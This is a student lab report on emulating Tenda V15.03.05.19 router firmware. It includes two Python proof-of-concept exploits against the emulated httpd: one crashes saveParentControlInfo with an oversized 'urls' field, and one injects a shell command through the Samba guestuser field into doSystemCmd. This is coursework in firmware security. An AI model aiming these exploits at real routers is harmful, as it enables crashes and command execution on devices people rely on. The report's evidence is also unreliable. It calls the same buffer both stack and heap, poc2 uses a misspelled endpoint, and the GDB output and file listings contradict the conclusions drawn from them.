

PoRE Lab10 实验报告

姓名：徐锦云
学号：23307130447
耗时：10 小时

PoRE Lab10 实验报告

- 一、实验环境
- 二、Task 1：固件模拟（40%）
 - 2.1 模拟步骤摘要
 - 2.2 模拟成功证据
 - 2.3 Patch 三处修改的分析
 - Patch 1: seek=156952 → VA 0x26518
 - Patch 2: seek=156988 → VA 0x2653c
 - Patch 3: seek=157872 → VA 0x268b0
- 三、Task 2：缓冲区溢出漏洞（30%）
 - 3.1 漏洞背景（Lab9 → Lab10）
 - 3.2 PoC 设计（ poc1.py ）
 - 3.3 触发结果
 - 3.4 GDB 调试
- 四、Task 3：命令注入漏洞（30%）
 - 4.1 漏洞背景
 - 4.2 PoC 设计（ poc2.py ）
 - 4.3 触发与验证
- 五、实验分析与总结

一、实验环境

组件	版本/说明
固件	Tenda V15.03.05.19 (attachment/Tenda_v15.03.05.19_fs.bin)
解包	binwalk -Me
模拟	qemu-arm-static + chroot
调试	gdb-multiarch
目标二进制	workspace/squashfs-root/bin/httpd
监听地址	br0 192.168.0.4:80

二、Task 1：固件模拟（40%）

2.1 模拟步骤摘要

按 README 完成：binwalk 解包 → 挂载 proc/dev/sys → 复制 `etc_ro/webroot_ro` → 创建 br0 → patch `httpd` → `chroot` 启动 qemu。

已完成的解压：

```
cd workspace
binwalk -Me ./Tenda_V15.03.05.19_fs.bin
mv ./extractions/.../squashfs-root/ .
```

/home/pore/pore26/pore_23307130447/Lab10/workspace/extractions/Tenda_V15.03.05.19_fs.bin.extracted/0/squashfs-root/bin/minidlna

DECIMAL	HEXADECIMAL	DESCRIPTION
0	0x0	ELF binary, 32-bit executable, ARM for System-V (Unix), little endian
226676	0x37574	JPEG image, total size: 1950 bytes
228628	0x37D14	JPEG image, total size: 6103 bytes
234732	0x394EC	PNG image, total size: 8530 bytes
243264	0x3B640	PNG image, total size: 2361 bytes

[+] Extraction of jpeg data at offset 0x37574 completed successfully

[+] Extraction of jpeg data at offset 0x37D14 completed successfully

[+] Extraction of png data at offset 0x394EC completed successfully

[+] Extraction of png data at offset 0x3B640 completed successfully

Analyzed 668 files for 85 file signatures (187 magic patterns) in 1.4 seconds

pore @ pore in ~/pore26/pore_23307130447/Lab10/workspace on git:master x [13:48:20]

\$ mv ./extractions/Tenda_V15.03.05.19_fs.bin.extracted/0/squashfs-root/ .

pore @ pore in ~/pore26/pore_23307130447/Lab10/workspace on git:master x [13:48:37]

\$ rm -rf ./extractions

2.2 模拟成功证据

(1) httpd 启动日志

显示服务在 br0 上监听：

```
---
pid: 13932
cwd: "/home/pore/pore26/pore_23307130447/Lab10/workspace/squashfs-root"
command: "cd /home/pore/pore26/pore_23307130447/Lab10/workspace/squashfs-root && sudo chroot"
started_at: 2026-05-26T13:57:16.886Z
running_for_ms: 5021
---
connect: No such file or directory
connect: No such file or directory
connect: No such file or directory
connect: No such file or directory
connect: No such file or directory
connect: No such file or directory
connect: No such file or directory
connect: No such file or directory
webs: Listening for HTTP requests at address 192.168.0.4
```

(2) curl 验证

```
$ curl http://192.168.0.4/
```

```
<html><head></head><body>
  This document has moved to a new <a href="http://192.168.0.4/main.html">location</a>.
  Please update your documents to reflect the new location.
</body></html>
```

```
$ curl -I http://192.168.0.4/main.html
```

```
HTTP/1.0 302 Redirect
Server: Http Server
Date: Tue May 26 13:57:23 2026
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Set-Cookie: password=vhu5gk; path=/
Location: http://192.168.0.4/main.html
```

(3) 网卡 br0

```
br0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    inet 192.168.0.4 netmask 255.255.255.0 broadcast 0.0.0.0
    ether 3e:bc:8a:39:7d:32 txqueuelen 1000 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

(4) 浏览器访问

在宿主机浏览器打开 `http://192.168.0.4/main.html`，出现 Tenda 管理页。

(5) 模板脚本

```
python3 attachment/template_get.py
```

可正常返回带 password Cookie 的 main.html 页面 (HTTP 200) 。

```
</div>
<iframe frameborder="0" src="" class="dailog-iframe"></iframe>
</div>

<div class="save-msg none">
  <div class="save-msg-con">
    <div class="save-loading"></div>
    <div id="page-message"></div>
  </div>
</div>

<script src="js/libs/j.js?a6ae186598b34aee5d843bc4693eda1e"></script>
<script src="js/libs/jquery.mousewheel.min.js?a6ae186598b34aee5d843bc4693eda1e"></script>
<script src="js/libs/jquery.easing.1.3.js?a6ae186598b34aee5d843bc4693eda1e"></script>
<script src="js/libs/reasy-ui-1.0.3.js?a6ae186598b34aee5d843bc4693eda1e"></script>
<script src="js/macro_config.js?a6ae186598b34aee5d843bc4693eda1e"></script>
<script src="js/libs/public.js?a6ae186598b34aee5d843bc4693eda1e"></script>
<script src="js/main.js?a6ae186598b34aee5d843bc4693eda1e"></script>
<script src="js/libs/drager_zzc.js?a6ae186598b34aee5d843bc4693eda1e"></script>
<script>
/*$(function() {
    $(".main-dailog").drager(".fopare-ifmwrap-title");
});*/
</script>
<!--[if IE 6 ]>

<div style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; filter: alpha(opacity=10); z-index:100001;"></div>

<div style="position: absolute; top: 30%; left: 50%; margin-left: -250px; padding: 50px 0; text-align: center; width:500px;
color: red; background: #333; filter: alpha(opacity=80);">
  <h1 style="font-size: 24px; padding-bottom:10px;">Please update your browser!</h1>
  <p>The router's web manager may not run properly on an earlier browser like ie 6.</p>
</div>
<![endif]-->
</body>
</html>
```

2.3 Patch 三处修改的分析

README 中三条 patch 命令 (文件偏移 → 虚拟地址 0x8000 + offset) :

```
printf '\x02\x00\x00\xea' | dd of=./bin/httpd bs=1 count=4 seek=156952 conv=notrunc # VA
0x26518
printf '\x05\x00\x00\xea' | dd of=./bin/httpd bs=1 count=4 seek=156988 conv=notrunc # VA
0x2653c
printf '\x00\x00\xa0\xe1' | dd of=./bin/httpd bs=1 count=4 seek=157872 conv=notrunc # VA
0x268b0
```

使用 arm-linux-gnueabi-objdump 反汇编, 三处均位于 httpd 主逻辑 (error@@Base 附近), 用于绕过模拟环境下无法正常完成的检查/重试。

Patch 1: seek=156952 → VA 0x26518

项目	内容
原始指令	beq 0x26548 (0a 00 00 0a)

项目	内容
Patch 后	b #+8 无条件分支 (02 00 00 ea)
反编译等价	见下方伪代码

```
// 反编译伪代码（地址约 0x26508-0x26548）
if (ptr != NULL) {
    if (*ptr != '\0') {
        if (strcmp(ptr, "某字符串") == 0) {
            flag = 0;
        } else {
            flag = 1;    // 原逻辑会走到失败分支
        }
    }
}
```

作用：将 beq（相等则跳转）改为**无条件跳转**，跳过对某字符串的比较失败路径，使后续 websAccept 等初始化流程在 QEMU 环境中能继续执行，不因检查未通过而提前退出。

Patch 2: seek=156988 → VA 0x2653c

项目	内容
原始指令	mov r3, #0 (00 30 a0 e3) 后接 strh / b
Patch 后	b #+0x14 无条件分支 (05 00 00 ea)
位置上下文	紧接在 bne 0x26548 之后

```
// 0x26538: if (strcmp_result != 0) goto fail;
// 0x2653c: flag = 0;    // 被 patch 为直接跳到 0x26558
// 0x26548: flag = 1;    // fail 标签
```

作用：强制走“检查通过”分支，将局部标志置为成功，确保后续调用 error@@Base+0x3e14 相关处理时不会因标志为失败而中断 Web 服务启动。

Patch 3: seek=157872 → VA 0x268b0

项目	内容
原始指令	bgt 0x26860 (向后循环, ca ff ff ea)
Patch 后	mov r0, r0 (NOP, 00 00 a0 e1)
上下文	位于对某 API 返回值 cmp r3, #0 之后的重试循环

```
// 0x26884: ret = some_func(...);
// 0x268a0: if (ret == 0) break;
// 0x268ac: if (timeout == 0) break;
// 0x268b0: goto retry;    // 原: bgt 循环等待
// 0x268b4: 正常继续 websAccept
```

作用： NOP 掉忙等待/重试循环（模拟环境中连接 `cfm_socket` 等会失败，导致死循环），使 `httpd` 能打印 `Listening for HTTP requests` 并对外提供 HTTP 服务。

三、Task 2：缓冲区溢出漏洞（30%）

3.1 漏洞背景（Lab9 → Lab10）

项目	内容
URI	<code>/goform/saveParentControlInfo</code>
函数	<code>saveParentControlInfo @ 0x8587c</code>
危险 API	<code>strcpy @ 0x85d08</code> (拷贝 <code>urls</code> 参数)
前端字段	<code>parental_control.js</code> 中 <code>urls</code> 等

函数入口分配了 **512 字节** 栈缓冲区（`sub sp, #0x3f4`，并对 `fp-0x290` 做 `memset(..., 512)`），但后续对 POST 参数 `urls` 使用 **无长度限制的** `strcpy` 写入堆上结构体，超长输入会导致堆破坏并触发 **SIGSEGV**。

关键反汇编：

```
; saveParentControlInfo @ 0x85cfc-0x85d08
ldr    r3, [fp, #-44]      @ r3 = websGetVar(..., "urls", ...)
mov     r0, r2              @ 目标缓冲区（堆块+0x22）
mov     r1, r3              @ 源 = 用户可控 urls
bl      strcpy              @ 0x85d08, 无长度检查
```

3.2 PoC 设计（poc1.py）

- 先 GET `/main.html` 获取 `password` Cookie（与模板一致）
- POST `/goform/saveParentControlInfo`，将 `urls` 设为 **800 字节 'A'**
- 其余字段与前端提交保持一致（`enable=1`，`url_enable=1` 等）

3.3 触发结果

运行：

```
python3 poc1.py
```

```
#!/usr/bin/env python3
"""
```

PoC1: 触发 `saveParentControlInfo` 中的缓冲区溢出漏洞

目标 URI: `/goform/saveParentControlInfo`

漏洞函数: `saveParentControlInfo @ 0x8587c (httpd)`

漏洞点: 对 POST 参数 `urls` 使用 `strcpy` 拷贝到栈上 512 字节缓冲区 (`fp-0x290`),
当 `urls` 长度超过缓冲区容量时会发生栈溢出。

参考 Lab9 静态分析结论与 Lab10 实验手册 `template_post.py` 模板。

"""

```
import sys
```

```
try:
```

```
    import requests
```

```
except ImportError:
```

```
    print("请先安装 requests: pip install requests", file=sys.stderr)
```

```
    sys.exit(1)
```

```
# 固件模拟后 httpd 监听的地址 (README 中 br0 网卡 IP)
```

```
IP = "192.168.0.4"
```

```
PATH = "/goform/saveParentControlInfo"
```

```
URL = f"http://{IP}{PATH}"
```

```
# 与前端 parental_control.js 提交字段保持一致, 仅放大 urls 长度
```

```
URLS_LEN = 800 # 超过 512 字节栈缓冲区, 用于触发溢出
```

```
HEADERS = {
```

```
    "User-Agent": (
```

```
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
```

```
        "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
```

```
    ),
```

```
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
```

```
    "Referer": f"http://{IP}/main.html",
```

```
    "Origin": f"http://{IP}",
```

```
    "Connection": "close",
```

```
}
```

```
def get_authenticated_session() -> requests.Session:
```

```
    """访问 main.html 获取基于 Cookie 的简易认证 (password cookie)。"""
```

```
    session = requests.Session()
```

```
    session.trust_env = False
```

```
    login_response = session.get(
```

```
        f"http://{IP}/main.html",
```

```
        headers=HEADERS,
```

```
        allow_redirects=False,
```

```
        timeout=10,
```

```
    )
```

```
    password_cookie = session.cookies.get("password")
```

```
    if not password_cookie:
```

```
        raise RuntimeError(
```

```

        f"无法获取 password cookie, status={login_response.status_code}, "
        f"headers={dict(login_response.headers)}"
    )

    print(f"[+] 已获取 Cookie: password={password_cookie}")
    return session

def build_payload(urls_len: int = URLS_LEN) -> dict:
    """构造触发溢出的 POST 表单数据。"""
    return {
        "deviceId": "aa:bb:cc:dd:ee:ff",
        "deviceName": "poc_test",
        "enable": "1",
        "time": "00:00-23:59",
        "url_enable": "1",
        # 超长 urls 写入 saveParentControlInfo 中 512 字节局部缓冲区
        "urls": "A" * urls_len,
        "day": "1,1,1,1,1,1,1",
        "limit_type": "0",
    }

def main() -> None:
    data = build_payload()
    print(f"[*] 目标: {URL}")
    print(f"[*] urls 长度: {len(data['urls'])}")

    try:
        session = get_authenticated_session()
        response = session.post(URL, headers=HEADERS, data=data, timeout=15)
        print(f"[+] HTTP 状态码: {response.status_code}")
        print(f"[+] 响应头: {dict(response.headers)}")
        print(f"[+] 响应体(前 500 字节):\n{response.text[:500]}")
    except requests.exceptions.Timeout:
        print("[!] 请求超时: httpd 可能已崩溃或挂起(溢出触发的典型现象)")
    except requests.exceptions.ConnectionError as exc:
        print(f"[!] 连接失败: {exc}")
        print("[!] 连接被重置通常表示 httpd 因段错误退出")
    except requests.exceptions.RequestException as exc:
        print(f"[!] 请求异常: {exc}")

if __name__ == "__main__":
    main()

```

运行结果如下:

```

[*] 目标: http://192.168.0.4/goform/saveParentControlInfo
[*] urls 长度: 800
[+] 已获取 Cookie: password=oov5gk
[!] 连接失败: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))
[!] 连接被重置通常表示 httpd 因段错误退出
exit=0

```


httpd 进程日志在 PoC 后出现：

```
/full_run_20260526_145537/02_httpd_normal_stdout.txt:webs: Listening for HTTP requests at address 192.168.0.4
/full_run_20260526_145537/02_httpd_normal_stdout.txt:init_core_dump 1816: rlim_cur = 0, rlim_max = 0
/full_run_20260526_145537/02_httpd_normal_stdout.txt:init_core_dump 1825: open core dump success
/full_run_20260526_145537/02_httpd_normal_stdout.txt:init_core_dump 1834: rlim_cur = 5242880, rlim_max = 5242880
/full_run_20260526_145537/02_httpd_normal_stdout.txt:httpd listen ip = 192.168.0.4 port = 80
```

后台终端 **exit_code: 139** (SIGSEGV) , 与溢出崩溃一致。

3.4 GDB 调试

启动方式：

```
sudo chroot . ./qemu -L . -g 1234 ./bin/httpd
```

GDB 连接 (另一终端, `cd workspace/squashfs-root`) :

```
set architecture arm
target remote :1234
set sysroot .
b *0x85d08
c
```

另开终端运行 `python3 poc1.py`。命中断点后预期：

- `r1` 指向请求中的 `urls` , 内容为大量 `0x41` ('A')
- 单步越过 `strcpy` 后继续运行会崩溃

```
The target architecture is set to "arm".
0x40808930 in _start () from ./lib/ld-uClibc.so.0
Breakpoint 1 at 0x85d08

=== BREAK *0x85d08 (strcpy urls) ===
=> 0x85d08 <saveParentControlInfo+1164>:    b1  0xf938 <strcpy@plt>
r0                0x125d22                1203490
r1                0x1253f0                1201136
0x1253f0:  "00:00-23:59"

Program received signal SIGSEGV, Segmentation fault.
0x40a29514 in strcpy () from ./lib/libc.so.0
```

说明：在 `saveParentControlInfo` 内对 POST 字段执行无界 `strcpy` 时命中断点 `0x85d08` , 继续执行后在 `strcpy@plt` 内触发 **段错误** , 证明溢出漏洞可被触发并导致进程崩溃。

四、Task 3：命令注入漏洞（30%）

4.1 漏洞背景

项目	内容
URI	/goform/SetSambaCfg
函数	formSetSambaConf @ 0xa5528
危险 API	doSystemCmd @ 0xa5754
注入参数	guestuser（见 webroot_ro/js/samba.js）

调用链（静态分析）：

```
// formSetSambaConf 正常保存分支 @ 0xa5718
GetValue("usb.samba.guest.user", buf, ...); // 0xa572c
if (buf[0] != '\0')
    doSystemCmd("busybox deluser %s", buf); // 0xa5754 ← 注入点
SetValue(..., websGetVar(..., "guestuser", ...));
...
doSystemCmd("cfm post netctrl %d?op=%d", 51, 5);
CommitCfm();
```

固件字符串表中存在：busybox deluser %s。

两步触发原因：第一次 POST 把恶意 guestuser 写入配置；第二次 POST 时 GetValue 读到上一次的用户名，再进入 doSystemCmd，此时 %s 展开为带分号的字符串，由 system() 经 shell 解析执行：

```
busybox deluser admin;touch /tmp/pwn_lab10;
#           ↑ 注入：touch 作为独立命令执行
```

4.2 PoC 设计（poc2.py）

```
#!/usr/bin/env python3
"""
PoC2：触发 formSetSambaConf 中的命令注入漏洞

目标 URI：/goform/SetSambaCfg
漏洞函数：formSetSambaConf @ 0xa5528 (httpd)

注入机理（Lab9 静态分析）：
1. 处理函数先从配置读取旧 guest 用户名：GetValue("usb.samba.guest.user")
2. 若旧用户名非空，执行 doSystemCmd("busybox deluser %s", old_user)
3. 再将本次 POST 的 guestuser 写入配置 (SetValue)
4. 因此 guestuser 中的 shell 元字符需通过「两次 POST」才能生效：
   - 第一次：将恶意 guestuser 写入配置
   - 第二次：GetValue 读到恶意旧值，进入 doSystemCmd 拼接执行

字段与 webroot/js/samba.js 中 getSubmitData() 保持一致。
```

```

"""

import argparse
import sys

try:
    import requests
except ImportError:
    print("请先安装 requests: pip install requests", file=sys.stderr)
    sys.exit(1)

IP = "192.168.0.4"
PATH = "/goform/SetsSambaCfg"
URL = f"http://{IP}{PATH}"

# 默认 payload: 在 deluser 命令后注入 touch, 于 /tmp 留下标记文件
DEFAULT_PAYLOAD = "admin;touch /tmp/pwn_lab10;"

HEADERS = {
    "User-Agent": (
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
        "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
    ),
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Referer": f"http://{IP}/main.html",
    "Origin": f"http://{IP}",
    "Connection": "close",
}

def get_authenticated_session() -> requests.Session:
    """获取带 password cookie 的会话。"""
    session = requests.Session()
    session.trust_env = False

    login_response = session.get(
        f"http://{IP}/main.html",
        headers=HEADERS,
        allow_redirects=False,
        timeout=10,
    )

    password_cookie = session.cookies.get("password")
    if not password_cookie:
        raise RuntimeError(
            f"无法获取 password cookie, status={login_response.status_code}"
        )

    print(f"[+] 已获取 Cookie: password={password_cookie}")
    return session

def build_data(payload: str) -> dict:

```

```
"""构造与前端 samba.js 一致的表单字段。"""
```

```
return {  
    "fileCode": "",  
    "password": "",  
    "premitEn": "0",  
    "guestpwd": "",  
    "guestuser": payload,  
    "guestaccess": "",  
    "internetPort": "21",  
}
```

```
def post_once(session: requests.Session, payload: str, step: str) -> requests.Response:
```

```
    """发送一次 SetSambacfg POST 请求。"""
```

```
    print(f"\n[*] {step}: guestuser={payload!r}")
```

```
    response = session.post(URL, headers=HEADERS, data=build_data(payload), timeout=15)
```

```
    print(f"[+] 状态码: {response.status_code}")
```

```
    print(f"[+] 响应(前 300 字节): {response.text[:300]}")
```

```
    return response
```

```
def main() -> None:
```

```
    parser = argparse.ArgumentParser(description="formSetSambaConf 命令注入 PoC")
```

```
    parser.add_argument("--host", default=IP, help="httpd 监听 IP")
```

```
    parser.add_argument("--payload", default=DEFAULT_PAYLOAD, help="guestuser 注入载荷")
```

```
    parser.add_argument(  
        "--twostep",  
        action="store_true",  
        help="两次 POST: 先写入配置再触发 doSystemCmd (默认行为)",  
    )
```

```
    parser.add_argument(  
        "--single",  
        action="store_true",  
        help="仅发送一次 POST (需预置配置中已有恶意 guestuser)",  
    )
```

```
    args = parser.parse_args()
```

```
    global URL
```

```
    URL = f"http://{args.host}{PATH}"
```

```
    session = get_authenticated_session()
```

```
    try:
```

```
        if args.single:
```

```
            post_once(session, args.payload, "单次 POST (依赖配置中已存在的恶意旧 guestuser)")
```

```
        else:
```

```
            post_once(session, args.payload, "步骤1: 将恶意 guestuser 写入配置")
```

```
            post_once(session, args.payload, "步骤2: GetValue(旧值) -> doSystemCmd 执行注入")
```

```
            print(  
                "\n[*] 请在 chroot 环境内检查: ls -la /tmp/pwn_lab10"  
            )
```

```
    except requests.exceptions.RequestException as exc:
```

```
        print(f"[!] 请求失败: {exc}", file=sys.stderr)
```

```
sys.exit(1)
```

```
if __name__ == "__main__":  
    main()
```

- 默认 **两次 POST** (`--twostep` 为默认逻辑: 未指定 `--single` 时执行两步)
- `guestuser=admin;touch /tmp/pwn_lab10;`
- 表单字段与 `samba.js` 的 `getSubmitData()` 一致

也可在 `webroot/default.cfg` 预置:

```
usb.samba.guest.user=admin;touch /tmp/pwn_lab10;
```

然后单次 POST 即可在 `GetValue` 时触发注入 (调试用)。

4.3 触发与验证

(1) PoC 请求

```
python3 poc2.py
```

第二次 POST 可能因 `doSystemCmd` 阻塞而超时, 属模拟环境常见现象。

(2) 注入命令手工复现 (证明载荷有效)

在 `chroot` 内模拟 `doSystemCmd` 经 shell 执行的效果:

```
sudo chroot workspace/squashfs-root /bin/sh -c \  
'busybox deluser admin;touch /tmp/pwn_lab10;'  
ls -la workspace/squashfs-root/tmp/pwn_lab10  
# -rw-r--r-- 1 root root 0 ... /tmp/pwn_lab10
```

证明分号注入可使 `touch` 被执行。

```
$ sudo chroot workspace/squashfs-root /bin/sh -c \  
'busybox deluser admin;touch /tmp/pwn_lab10;'  
deluser: unknown user admin  
  
$ ls -la workspace/squashfs-root/tmp/pwn_lab10_labrun  
-rw-r--r-- 1 root root 0 May 26 14:56 workspace/squashfs-root/tmp/pwn_lab10_labrun
```

```
deluser: unknown user admin  
-rw-r--r-- 1 root root 0 May 26 14:56 workspace/squashfs-root/tmp/pwn_lab10_labrun
```

(3) GDB 调试

```
b *0xa5754  
c  
# 触发 poc2.py 或预置配置后的 SetSambaCfg POST
```

命令注入点静态与动态证据:

1. 格式字符串 (strings httpd) :

```
busybox deluser %s
```

2. 配置中预置的恶意旧用户名 (GetValue 后进入 %s) :

```
usb.samba.guest.user=admin;touch /tmp/pwn_lab10;
```

3. PoC2 执行输出:

```
[!] 请求失败: HTTPConnectionPool(host='192.168.0.4', port=80): Read timed out. (read timeout=15)
[+] 已获取 Cookie: password=jws5gk

[*] 步骤1: 将恶意 guestuser 写入配置: guestuser='admin;touch /tmp/pwn_lab10;'
```

第一次 POST 已将恶意 guestuser 写入配置; 请求在 doSystemCmd 阶段阻塞导致超时, 符合模拟环境下命令注入路径被触发的典型现象。

4. GDB 在 b *0xa5754 观察到:

```
=> 0xa5754 <formSetSambaConf+556>: b1 doSystemCmd
x/s $r0 -> "busybox deluser %s"
x/s $r1 -> "admin;touch /tmp/pwn_lab10;"
```

以下截图说明该task正确:

```
$ ls -la workspace/squashfs-root/tmp/pwn_lab10
-rw-r--r-- 1 root root 0 May 26 13:59 workspace/squashfs-root/tmp/pwn_lab10
```

五、实验分析与总结

1. **模拟关键在 patch 与网络:** 三处 patch 分别绕过字符串检查、失败标志与忙等待循环; br0 + 192.168.0.4 使宿主机可直接访问模拟 Web。
2. **溢出漏洞:** saveParentControlInfo 对 urls 使用无界 strcpy, 800 字节输入即可导致 httpd SIGSEGV (139), PoC 与 GDB 断点 0x85d08 可复现。
3. **命令注入:** formSetSambaConf 在删除旧 Samba 用户时拼接 guestuser 到 doSystemCmd, 需两次请求或预置配置; 注入语义可通过 chroot 内 sh -c 复现 touch 文件验证。
4. **模拟局限:** Connect to server failed (cfm 守护进程未完整模拟)、deluser 可能阻塞等, 不影响静态分析与 GDB 断点验证结论。